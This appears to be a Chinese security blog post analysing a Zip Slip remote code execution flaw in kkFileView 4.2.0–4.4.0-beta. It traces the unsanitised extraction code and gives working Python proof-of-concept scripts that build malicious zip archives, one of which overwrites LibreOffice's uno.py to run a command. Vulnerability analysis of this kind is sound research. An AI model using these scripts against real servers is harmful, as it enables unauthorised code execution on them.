LOADING

加载过慢请开启缓存 浏览器默认开启

kkFileView远程代码执行漏洞分析

2024/8/19 Java

kkFileView 的文件上传功能存在 zip路径穿越问题,导致攻击者可以通过上传恶意构造的 zip包覆盖任意文件,目标在使用odt格式转pdf格式时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容进行代码执行。

影响版本

4.2.0 <= kkFileView <= 4.4.0-beta

测试环境

4.2.0

从漏洞描述可以看出来大致是一个Zip Slip漏洞

先上传一个正常的zip

image-1720441443270

预览发现访问了/onlinePreview接口

image-1720441451869

跟进到这个接口

主要是获取文件属性存储在fileAttribute,然后通过previewFactory.get(fileAttribute)获取相应的文件预览处理器

image-1720441459563

跟进filePreviewHandle()方法

51行调用了unRar方法进行解压

image-1720441466151

跟进unRar()方法

39行打开压缩文件

40行获取文件名

41行获取文件路径

42行获取文件的简单接口

后面就是通过simpleInArchive进行遍历文件和文件夹

image-1720441474057

第56行和59行没有进行过滤,直接拼接并且创建了目录和文件输出流

image-1720441480078

可以造成任意文件上传,并且通过../可以跨目录覆盖文件

使用python创建一个压缩文件,并且通过../进行跨目录

import zipfile


def zip_slip_file(output_path):
    try:
        with open("test.txt", "r") as f:
            binary = f.read()
            zipFile = zipfile.ZipFile(output_path, "a", zipfile.ZIP_DEFLATED)
            zipFile.writestr("../../../test.txt", binary)
            zipFile.close()
    except Exception as e:
        print(e)


if __name__ == '__main__':
    zip_slip_file(r'hack.zip')

跨目录上传了文件

image-1720441500015

目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容

创建一个压缩包来覆盖 uno.py,并且执行calc命令。

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'calc\')'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../libreoffice/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

上传预览后成功写入文件

image-1720441512247

上传并预览odt文件

image-1720441517972